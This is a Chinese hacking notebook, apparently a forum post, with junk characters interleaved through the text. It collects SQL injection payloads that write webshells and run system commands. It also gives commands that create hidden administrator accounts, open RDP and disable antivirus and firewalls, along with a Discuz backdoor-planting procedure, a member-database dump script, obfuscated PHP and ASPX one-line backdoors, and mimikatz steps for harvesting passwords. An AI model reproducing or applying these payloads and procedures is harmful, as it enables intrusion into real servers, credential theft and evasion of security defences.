第二步:用netstat -ano命令,列出所有端口对应的PID值!
7 o6 u# z! L! ?5 d& F+ ?4 z7 P9 a   找到PID值所对应的端口' u6 C3 z9 ~9 S6 f% [+ b. ~' ^* {

* L" Y/ r3 K$ j% X查询sql server 2005中的密码hash
6 h  S6 t3 b. m, }7 V5 T! ?SELECT password_hash FROM sys.sql_logins where name='sa'
: y( J$ E8 |8 N6 _& VSELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
5 c( f) Z1 P* Y2 J5 g8 Raccess中导出shell
8 Q6 J8 d) k  H8 }& ^0 K7 _( A3 C  h" M& s1 D; w
中文版本操作系统中针对mysql添加用户完整代码:
. n) j8 o& ^5 b8 ^: q- i4 F4 Y) H1 R$ |! m, H% j
use test;. u! y& g7 V3 @2 P3 h% x- R) \' `( m$ {
create table a (cmd text);
+ |1 ?+ a: d9 finsert into a values ("set wshshell=createobject (""wscript.shell"") " );
4 r; G0 K, m7 `( ^# ^& f5 R! P2 k" N' T, }insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );
) {8 |$ E- ^9 q( _  |, j8 j- Z) binsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );* D' l2 ?4 V% y7 {$ f
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
5 H6 u5 \/ R9 ?! M4 r* |drop table a;) m7 M$ Y6 P3 [- K8 R0 e
# F% k4 N' b' H: A
英文版本:% I( _' o1 h6 E5 k! f4 h6 F4 b& M& t

! _$ j  l3 d7 Tuse test;
9 A7 D: R) v+ z- k( ?3 q5 Wcreate table a (cmd text);
( ]7 z( _- v+ w# o# @; {0 o* o+ ]0 \insert into a values ("set wshshell=createobject (""wscript.shell"") " );% k# n4 t5 C' m9 c" A0 X
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );* B8 A: R) h( q( c& L8 [, F
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
8 @  Q5 Q3 z! V2 ?# Eselect * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";
+ ?! L6 ^, Q! ?% j8 l5 i/ a/ kdrop table a;- C; \/ V8 q- H6 E7 `1 P

5 \' n1 G4 k- R6 P2 B+ Z+ Ncreate table a (cmd BLOB);
. j# q, K+ b8 [1 ]9 U' P' T# finsert into a values (CONVERT(木马的16进制代码,CHAR));
4 l4 ]2 _6 n( B) J+ b; wselect * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'3 Z. R* ^- K- F' l# r, N$ }4 X  R4 `
drop table a;
6 R( D! I0 h9 G  G' m7 C7 ]& ^$ P  }9 i5 c
记录一下怎么处理变态诺顿
6 a' i2 h) D6 G. c6 H9 T4 Q查看诺顿服务的路径
2 U; `6 s! W; Q6 \* y. R, h9 }sc qc ccSetMgr  w1 c! \) Y) j. j  r; K. @
然后设置权限拒绝访问。做绝一点。。
* c6 E! Q  Y& C( G* }! bcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system
8 m( |; o4 _4 z7 bcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"8 C5 f9 I& W' A- o
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators2 q0 w$ {; z' @* F$ P4 z
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone
6 h7 p" N4 P% h2 O% O1 Q0 u  }$ _/ {: k6 H/ Z
然后再重启服务器. N& X" O) J8 f- E) G
iisreset /reboot6 w* b) x. x# x$ {3 L% a
这样就搞定了。。不过完事后。记得恢复权限。。。。9 k& V9 I  V2 @' K+ x
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F* P. f2 e4 @' h0 ^0 b3 o7 t9 V
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F4 h4 M0 z- R* x) w9 m) a7 Y
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F- [5 s$ V9 i; Q+ s3 O
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F7 J* M9 ^/ H) E' f6 o% a
SELECT '<%eval(request(chr(35)))%>' into [fuck]  in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin; S0 N" m" H8 v4 T' j0 p

% b% p0 {7 P$ D: [EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')
5 o! {) U) @# _4 }( W0 y
: _. |7 [3 v4 L& }$ Fpostgresql注射的一些东西
- b* }  e# y6 n如何获得webshell
9 C) Q/ m# S8 a2 Ahttp://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null); 7 ~9 N9 n1 u/ ^" S+ X; ]
http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$);
2 Y( b. ]( a" ihttp://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;
$ k* D  C/ R5 j/ @如何读文件+ S* k: L2 w/ C5 r( H
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);
3 ^( q% ?& F/ `. O4 |http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;
" i. i7 B! \9 [) y3 y9 S% B# nhttp://127.0.0.1/postgresql.php?id=1;select * from myfile;
$ b5 y- _# H: d9 |  a7 W1 v+ O4 _5 P1 E
z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。
$ \' m( ?" H1 s3 q( W" r' L) Q当然,这些的postgresql的数据库版本必须大于8.X
/ b: l, ~2 M" j2 E0 J创建一个system的函数:
" v" N9 |, P5 S$ E& r9 d! PCREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
. I8 z+ s" {" ^1 H$ F( k! v" H2 k5 v" R. ^
创建一个输出表:) s& z: {; h& z4 N9 ^  j' _
CREATE TABLE stdout(id serial, system_out text)+ |% r% t$ q* h) v0 p2 x
( L$ S0 c# }' v) s( q+ ^0 t7 j% A1 ?
执行shell,输出到输出表内:  O$ f" v! c0 ^0 M7 l* x+ e
SELECT system('uname -a > /tmp/test')3 g  u# ^( A, [

/ J9 P2 R! ^- w) @* W& ecopy 输出的内容到表里面;
" w. v! }- Q& K& ]0 aCOPY stdout(system_out) FROM '/tmp/test'
( N) M( k1 I# n* Y9 P9 V. c
1 g9 f; v& ]! ^从输出表内读取执行后的回显,判断是否执行成功
8 V' ~, C! `1 f  b) R3 g& {
+ ~+ h$ y. s6 l& C' zSELECT system_out FROM stdout4 a. x1 v6 c' ]0 j
下面是测试例子; i6 R9 U: {6 j# T* a* g) d

6 g. p' w: K" u/ Y! J+ v. _/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- . ]  I& n  u% p$ V/ v
" [& p9 l- q4 D. g
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'( @* b3 N, `: G7 @2 l# }
STRICT --" `# Q0 r7 _( ^8 N+ q5 C  ?
* S6 w9 r: T. r  _3 ?4 q% Y
/store.php?id=1; SELECT system('uname -a > /tmp/test') --
* y8 l& N/ d- z" P2 X& q+ H
. P, o) w- v! W1 b0 A* ]$ W/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
) _* h# m2 `2 X) M8 _/ J# Y7 @4 @: o" i: Z. {
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--' e* ~0 M* r7 y0 L5 p% ~
net stop sharedaccess    stop the default firewall
0 Q  _" I3 k  p' n% e+ y$ _netsh firewall show      show/config default firewall6 M2 z1 i7 A+ ^: g" q" P0 E
netsh firewall set notifications disable   disable the notify when the program is disabled by the default firewall1 H) P4 H- U6 D/ `$ ]6 ]; g: c% F
netsh firewall add allowedprogram c:\1.exe Svchost     add the program which is allowed by default firewall
! x# u  L$ Z* D  ?  D* }: Q3 a修改3389端口方法(修改后不易被扫出)* b( w% p2 O& {
修改服务器端的端口设置,注册表有2个地方需要修改6 X  e7 K& c; V  a) {9 v
6 W2 Y3 y; |( G. S+ Q; J
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]
- r: b( T# s7 X' FPortNumber值,默认是3389,修改成所希望的端口,比如6000
: A; i4 z* Z( P' d. d. i6 V3 S0 c
/ i/ p$ j7 B$ y8 \, ?( ~/ r2 V# v第二个地方:
/ F, l: h' _7 i8 Q" \  C[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] 
  L% [$ [' w5 p% t9 UPortNumber值,默认是3389,修改成所希望的端口,比如6000, q1 I3 Q5 s9 I  @. B! ~) z
8 M. N9 J. D9 Z8 Y
现在这样就可以了。重启系统就可以了( g; J' a0 D! @% q8 O' y, l+ N" L
( W8 V7 B; k8 E( {) N6 ?7 A
查看3389远程登录的脚本
% {& o9 s5 P* A" M5 Q保存为一个bat文件8 m8 y, e0 u' @, C0 J) @* _6 p
date /t >>D:\sec\TSlog\ts.log
5 g0 X8 m% r) X/ J# L( m% C/ |& Ttime /t >>D:\sec\TSlog\ts.log
2 H1 c4 C+ m1 d( @netstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log
5 X+ N0 t! s7 Q. F! G. ~start Explorer
- |. i) E( L- _3 p4 ~
3 h  M5 m* }4 T" D+ y0 [, Pmstsc的参数:/ z3 Z6 P! V& T1 v6 P. O

- Q3 y4 w0 C8 Y5 D5 E) b远程桌面连接2 ?) p& f& h7 Z8 b" D# j) Z

% g0 g/ M' V- Y8 fMSTSC      [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]]) s9 m$ C! {+ m* S+ P
  [/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?
  H# w( z, X0 u+ K* M, d& B3 m# r& H4 [
<Connection File> -- 指定连接的 .rdp 文件的名称。
3 V# I6 ?5 m/ M! p1 |' O# q( c) t: v; b% x) V
/v:<server[:port]> -- 指定要连接到的终端服务器。. K: C7 l8 v" l# a! G
) ^' l  Q, j6 N1 j
/console -- 连接到服务器的控制台会话。' J: _# i; [4 d, r2 \7 P+ ~
6 D+ F) N5 E* M
/f -- 以全屏模式启动客户端。8 l% W4 V- b* [

( p0 d. a5 n. l4 l/ E. T' J/ H" K/w:<width> --  指定远程桌面屏幕的宽度。
2 O& N! ~) s: t( b
, |  I+ i8 X$ q2 }( z3 ~$ q/h:<height> -- 指定远程桌面屏幕的高度。0 v  x  B7 N0 O8 T' w. i7 z
1 b8 u7 S4 S6 p4 n% x
/edit -- 打开指定的 .rdp 文件来编辑。3 u+ `2 w( f6 [% V% h

' f$ d; q! G+ C3 N) X1 J% Y6 U/migrate -- 将客户端连接管理器创建的旧版
* {% l& r+ K! `7 ~连接文件迁移到新的 .rdp 连接文件。
( i, q8 t$ Y$ o4 m$ ^
" \! ~8 d8 ?$ v) H
1 Z8 H0 W5 @# J" l+ N7 {- ?6 O其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就
  y5 N' i. ^. g" T+ amstsc /console /v:124.42.126.xxx 突破终端访问限制数量: F3 l2 l6 O4 P+ V( p

) ]/ `# b! t7 P7 M命令行下开启3389
! ]+ b7 b- y- w4 unet user asp.net aspnet /add
7 b, t6 ?, n7 _: d4 l3 m* u( v. s1 Inet localgroup Administrators asp.net /add  z! `6 [- G5 K
net localgroup "Remote Desktop Users" asp.net /add/ `, z+ n2 `5 ^( g$ w
attrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D( ]; I$ H1 ^3 I9 ~
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 09 }2 j+ g- p; P, _
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1
/ {% C+ K! h( c0 g% G. Vecho Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f/ N2 W, f2 [$ }' Y) ~
sc config rasman start= auto
& Z! ^( `7 y9 [( e& C; @- l( T5 L: jsc config remoteaccess start= auto0 n! @0 N: S  k5 M* o
net start rasman
1 y- R0 A# I4 Y& B6 v' unet start remoteaccess
0 |( _7 b0 g" g5 K' S' U$ `9 oMedia
% j3 c% s5 D: d; P- R<form id="frmUpload" enctype="multipart/form-data") @4 ?, f; @3 B( n2 X) p
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
& \! d6 n( w+ {  H& Y; h3 [' |<input type="file" name="NewFile" size="50"><br>0 v  x7 h# _( |8 w% R2 M" R
<input id="btnUpload" type="submit" value="Upload">
6 }) `3 ^. Z9 V</form>
3 ~8 r  s$ t0 J6 }6 ?' s7 S& k1 ^$ K- x7 s
control userpasswords2 查看用户的密码3 K6 M6 A% B' I9 g* _2 D
access数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径+ o# ]9 [& E( x! |# k2 I4 A
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a6 {- G6 w9 e$ I+ }- S

# K6 Z4 O( ?3 D9 {141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:
' q5 K( @7 ~" p% h$ H7 i: Q  N2 z2 h! A测试1:1 g% f* v+ W$ b9 [
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
1 g6 s9 B6 v. r  Q2 X1 U; d
, o  p3 P0 \! J0 b# u1 D' t测试2:7 I+ Y1 [5 B! E: \5 q+ s4 y4 {. n
- F8 W# ]- D" X0 J$ E) b/ ]
create table dirs(paths varchar(100),paths1 varchar(100), id int)2 b& m* {/ R" v2 S7 `, t
# o4 \1 Y% D& E0 f3 {% S1 i. I: z" S
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
5 t- L  h: Z) x0 k: H" a2 E7 |1 N: Y% `9 ?" }9 ?
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
5 q& j  `3 C+ Z" t关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令, _# x8 a) o5 O+ n5 W9 Z9 m
可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;3 J- i; p5 k. V) {, V$ b, z( R
net stop mcafeeframework0 @1 O2 T5 R( F8 f$ U: u
net stop mcshield
5 T- D3 w/ M! N* ?8 Z# ]net stop mcafeeengineservice
" v4 m8 A) \' e7 l7 Z) o# Fnet stop mctaskmanager8 @/ b4 N4 q) |% V  t
http://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D
, L2 {8 M7 N/ O& T
2 k! j5 @* {* `( b  VNCDump.zip (4.76 KB, 下载次数: 1)
) u9 i! q( ~4 x+ J# q, t密码在线破解http://tools88.com/safe/vnc.php
9 h, q( ?' j- ~$ w  r# dVNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取
% v! ^! k) \& K. [& b
/ x- i5 U, j0 L6 x3 \. hexec master..xp_cmdshell 'net user'+ x' a& C$ \9 i* b/ x
mssql执行命令。) v, t: Y4 u7 y1 @" e
获取mssql的密码hash查询
& {0 j, W+ V' Y6 w) Vselect name,password from master.dbo.sysxlogins* i8 Q- }$ \2 L3 k6 i9 @8 j  l
9 P! c" T+ O% |
backup log dbName with NO_LOG;% b2 `/ L+ h) ?  ?% S/ r
backup log dbName with TRUNCATE_ONLY;
" D' a( K  ?  X) V1 G% q3 dDBCC SHRINKDATABASE(dbName);7 C- d! V- D8 H' ]
mssql数据库压缩# r' s7 I$ {7 S. J+ j. K+ u2 h

# s- T: {/ R/ D9 n+ NRar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK9 z  Y  x0 A* Y% N; W1 F# ]
将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。
, c. j$ q( g9 {; q$ e4 W
0 ?9 i$ t' A$ {3 J: [" Sbackup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'
6 b/ t" I3 q6 w1 X2 [备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak  A& b$ V# l3 p3 }  X/ l7 [4 ?

, {0 p& x$ [; W- m7 I- h( f+ XDiscuz!nt35渗透要点:
( K9 p) J/ ~# y: k9 J7 @(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default
1 Y/ V+ \! }7 p! y(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
8 d  H" t+ {) ^1 L(3)保存。! \6 Z0 w3 f; Y; z5 V
(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass
/ b9 j8 H# M2 j3 Z0 v" e' P* n- _d:\rar.exe a -r d:\1.rar d:\website\
) h3 k& j1 O; L. O$ M! x递归压缩website4 a, O. D9 e/ `$ ~/ P7 i
注意rar.exe的路径$ e0 J9 {* k: X
# e3 w2 \( I% n  K
<?php
) {5 ?$ D& c/ D. k# x; N) z' X/ I
" t& P" e& J! _: G. Q& L$telok   = "0${@eval($_POST[xxoo])}";7 s' r; O' k, w5 j
5 _/ H* J! c' \! R" c3 H, c
$username   = "123456";0 w2 J4 ~5 K9 _! ^" O1 v
; m, r" J8 d/ y0 I7 Q! |; R8 U* f0 t
$userpwd   = "123456";
2 ~/ C8 K2 c2 G
1 d! M( w: d4 W4 Z$telhao   = "123456";
2 T! G5 ~# g1 E9 L3 l8 T  g
" `8 t" s+ Z: R9 @% \! O$telinfo   = "123456";! X) E0 x0 v& C# H: W" D

( \# f& j* \) t) m4 _- l2 O" [?>7 B: L: e6 w4 `2 C
php一句话未过滤插入一句话木马! |3 N4 j( v8 M3 P

, E. _* l' ^8 t: d站库分离脱裤技巧
+ `+ ]/ h8 `  ]% X  ?exec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'  c- I1 s6 K, O: k
exec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'! k; S1 ~9 d9 Z6 ~
条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。
. Z$ Q; @/ G6 F1 ]9 J6 i这儿利用的是马儿的专家模式(自己写代码)。
9 h# ~2 R' F  @& {6 a. Aini_set('display_errors', 1);) x. `: B4 }; ^$ q
set_time_limit(0);
/ j' _" ?3 s7 `8 Uerror_reporting(E_ALL);7 V. G2 H  ?' E. R- f. c
$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());
  a' j/ O8 c" ?; |0 e* B* h) Imysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());
! x  v+ A5 B" o( e6 J+ E6 m$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());+ J7 B* |8 h1 G, l* \; z
$i = 0;0 E0 V9 s9 w$ S7 y
$tmp = '';
% Z7 j$ W, ~, z7 U0 Rwhile ($row = mysql_fetch_array($result, MYSQL_NUM)) {
  M  [7 F! c' R( b, d    $i = $i+1;
% g1 {+ g1 d6 [; ~1 T    $tmp .=  implode("::", $row)."\n";; o) X& F/ \" x5 j7 w- |; c
    if(!($i%500)){//500条写入一个文件3 S  A; `) Q; T- g
        $filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';
* _3 F0 V8 a' q/ \, G        file_put_contents($filename,$tmp);% P3 n( n- ]; ?& q& e' c
        $tmp = '';% \1 }$ q/ F; I  q/ E* e4 h
    }8 t; O$ X, E' v% `2 G$ u
}
8 u" B4 W' X9 S7 q: D0 I, [mysql_free_result($result);
1 Z6 @9 o- k/ i) f7 ~( _/ I) D% W! h5 t6 Z
( ~# Z1 }/ W5 @

. ^7 X4 B4 B+ R1 B: w" N) x2 w. `//down完后delete
) L. l9 u' \, E: p, o# b
. r7 j9 {0 J/ _' _- D
1 J- N" ~8 x* K$ s0 ?ini_set('display_errors', 1);
2 {: E9 a6 K& F* O8 b2 zerror_reporting(E_ALL);8 h( E9 `0 p) ^9 r$ q( y$ G
$i = 0;, g; y+ k7 l' p& B6 e8 N. v
while($i<32) {
3 u* h1 h7 Y1 k4 Q0 i    $i = $i+1;1 N/ U+ {- D9 B, m6 K- n
        $filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';
& O' Z# X; g& o- x5 G        unlink($filename);! }4 v# B5 ]/ V+ P5 a( w
}
- v# \: @) ^9 O& Ihttprint 收集操作系统指纹
& Y  e& Z% \0 d5 P扫描192.168.1.100的所有端口
* C: Z2 |, X8 K2 p4 l- anmap –PN –sT –sV –p0-65535 192.168.1.100- N- z  Z. Z# H( J) `* ]
host -t ns www.owasp.org 识别的名称服务器,获取dns信息6 T- e9 R& a' |" s
host -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输; j! a( p" `0 q% J3 u, {0 Q
Netcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host
8 R# |5 y. n! ?9 e/ H' Y% P) s# t
# J8 {/ ~. I- t8 f5 J, QDomain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册)
7 H) x: e' B3 P  x* L6 [
+ Z4 r- ~$ H& t& \% B0 z. f/ ^  MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)" G2 M: F- ~5 `8 h% o

. F! o3 ], v) ]1 v1 y3 P1 N3 Q  Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x8 E2 D' y' a  |- I+ |

* M! ~; l7 J2 b- O7 s  DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)' e. ~% \: I1 J/ `: u. A
# \4 N8 O, Q* x6 N% m! c" `  x
  http://net-square.com/msnpawn/index.shtml (要求安装)
1 ^+ \7 f# F/ E6 s* ?! f) d( ~' K. Z; k: _- c/ v
  tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的)
; A- g+ g+ o6 }$ O$ _/ p
9 [. u( o* f7 r  Z  SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)
! g* h  ~/ A" e# Q4 ^; [set names gb2312
- z0 N" D/ I: j. v9 g* f# M导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。, O0 [% t6 D3 }9 r* C! X5 S5 u4 Z6 j

  q4 d  P  k! E  K# _# Cmysql 密码修改* N3 f# t. P. u8 r  ^% g7 @" |
UPDATE mysql.user SET password=PASSWORD("newpass")  whereuser="mysqladmin ” 6 Q8 T4 i( k) P& q; r
update user set password=PASSWORD('antian365.com') where user='root';
8 R9 P5 I7 ~8 j  K! q4 D4 cflush privileges;
% K$ r! o# D; s( R高级的PHP一句话木马后门
3 V8 g0 p% D1 Y* Q
9 l: f2 s2 b! ]# I入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀
1 m) C; o1 z5 R: V1 }' B, z1 Y- ^" `0 Y7 d0 {9 ^7 m  n
1、9 i0 s7 I( O! u$ t- {9 s, W( y

# ]) W/ m, W, ?8 H$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
' k0 k5 ~: s) w9 k* {/ ?- R
, c/ y1 A# w7 g$hh("/[discuz]/e",$_POST['h'],"Access");& I% B6 `  h% C0 D0 Q! Y$ H
, U, m/ y* D# \8 L2 c0 W
//菜刀一句话
* i# M5 d9 x. z9 y: m; j. _. ^2 `1 i
2、+ X! A! j* }  t; ~5 S# E5 X

* I! d! H7 o0 g/ K! o$filename=$_GET['xbid'];
" u$ T$ g0 M. G) o/ w6 C1 r
1 K  Z! c1 I" z* d* ^6 x* E# e9 Ginclude ($filename);! R3 d" z5 V& o

2 [( v) N6 P. w  ~6 k//危险的include函数,直接编译任何文件为php格式运行6 I( i4 |9 @" i9 u0 w

% x8 Q6 Y3 [1 n+ S+ ?2 _3、
' ]* O0 D# i7 Z! m- x, V! k' b
, \0 Y, _/ }+ N( \( h3 ^$reg="c"."o"."p"."y";: Y' S7 e# L3 ^- j% Q. \. }. {6 G

+ c1 ~; i& ~4 u0 ^0 s; W$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
$ H2 L/ K1 N% V6 e$ N6 L* X& |( l8 x( O" f8 T5 `
//重命名任何文件
4 [" @/ g/ ?1 P0 L1 L8 y, q9 Q! U# }# ]; R# o) A
4、
- d' P- m7 u: e+ G, y
& B% @) J% y. c3 @, c$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
1 g: R% m& O. e2 ]& \: K% S" a( c" U4 {/ M% O' `+ D5 Y
$gzid("/[discuz]/e",$_POST['h'],"Access");
% C9 D  l$ x$ K5 e2 N
' U+ U! L; x# R+ M4 q% s. v. l//菜刀一句话" s, `& |1 q" X3 g* C. T$ }' X2 F

2 N; k" r6 V! P% W8 G# E5、include ($uid);
0 u5 w$ r" A. r! I7 {' Y0 {" s2 y& E
//危险的include函数,直接编译任何文件为php格式运行,POST 4 a# e* r$ s# ^( L) S; `; e6 m5 E

6 p; D% G, c7 `
: I6 i" n% Z5 m# Z" [% ]//gif插一句话
- R  R# u# d. h6 I& {: h: j$ ~) v3 z. o  J; p
6、典型一句话
0 o; @% Q/ B( J
6 u/ q: Q3 N/ [  V# j程序后门代码
) v0 T) `6 V5 c0 z) s$ q' ~<?php eval_r($_POST[sb])?>/ L1 Q) o2 a" I9 Z, m+ c6 L
程序代码& }8 i. L# y( q3 p
<?php @eval_r($_POST[sb])?>
. I+ x( Y( g9 d( p: U5 i//容错代码4 _" U4 B9 k" ?
程序代码
% l1 T9 ^! t! _6 k5 w  @0 q<?php assert($_POST[sb]);?>
) M( [9 Z- \( S, y//使用lanker一句话客户端的专家模式执行相关的php语句- S" J: Z& b1 a) @
程序代码* ^' Y* s: ]' i  q9 z5 c5 E. w4 W
<?$_POST['sa']($_POST['sb']);?>
1 z2 V: Y; V7 t- ~程序代码
# j2 I" n. `" y+ X: v+ f<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
3 r7 D$ _/ @) l( z5 p程序代码
, c8 G/ z7 [& N4 E9 s0 k% |<?php6 v  |6 U  d8 T3 w
@preg_replace("/[email]/e",$_POST['h'],"error");1 ^5 L5 D5 r8 Q/ w5 G- X" m
?>
5 k* [- ?; G1 `' Q4 F, S: v//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入3 N. z1 E+ E8 l" m
程序代码
7 w6 J/ s) Q3 \8 W0 |6 H9 \<O>h=@eval_r($_POST[c]);</O>
; m9 K5 g0 d& d3 R6 x3 w程序代码( S: V7 d% G0 @" B0 K# F' a( T
<script language="php">@eval_r($_POST[sb])</script>
7 o& n& j+ N. ]//绕过<?限制的一句话/ A1 p$ R3 d; v# L# d

5 h% Y3 X. \1 S! Qhttp://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip: o% g& f" G' e" _% l
详细用法:
3 b# h8 K9 J/ O, X; r# W8 z/ ~# d; I( F1、到tools目录。psexec \\127.0.0.1 cmd
# l) T9 B( Z! n& [0 Q2、执行mimikatz
9 f% N; I1 E# M6 c/ r# z3、执行 privilege::debug
( u  u6 e9 q5 s6 \4、执行 inject::process lsass.exe sekurlsa.dll7 o* q; c! f7 ]- T2 p
5、执行@getLogonPasswords% e3 q# |6 l  R4 B! p
6、widget就是密码
/ N  _# @# Q8 H8 c- U3 {7、exit退出,不要直接关闭否则系统会崩溃。& J* i+ q8 U% R! h( i

& w- ~$ F) P9 Y2 Hhttp://www.monyer.com/demo/monyerjs/ js解码网站比较全面3 L4 H0 K2 S3 A1 v0 ?

6 B( `" ]% I/ F9 h  t; r" N自动查找系统高危补丁
1 u' j& L2 K& D" {- }+ G7 ksysteminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt  ?. g4 _3 i( Q4 c, ]6 H. q
# |; t3 B2 w  n
突破安全狗的一句话aspx后门
4 v& H7 t& n6 G( k' M* h: N+ ]3 P9 O<%@ Page Language="C#" ValidateRequest="false" %>1 k0 c& r5 ?/ H% w- f$ t
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>% o$ e5 Q8 h  a' q: Y
webshell下记录WordPress登陆密码$ k0 N3 r* q, x! V8 Z# `/ U
webshell下记录Wordpress登陆密码方便进一步社工1 c$ S1 `; g1 L. a
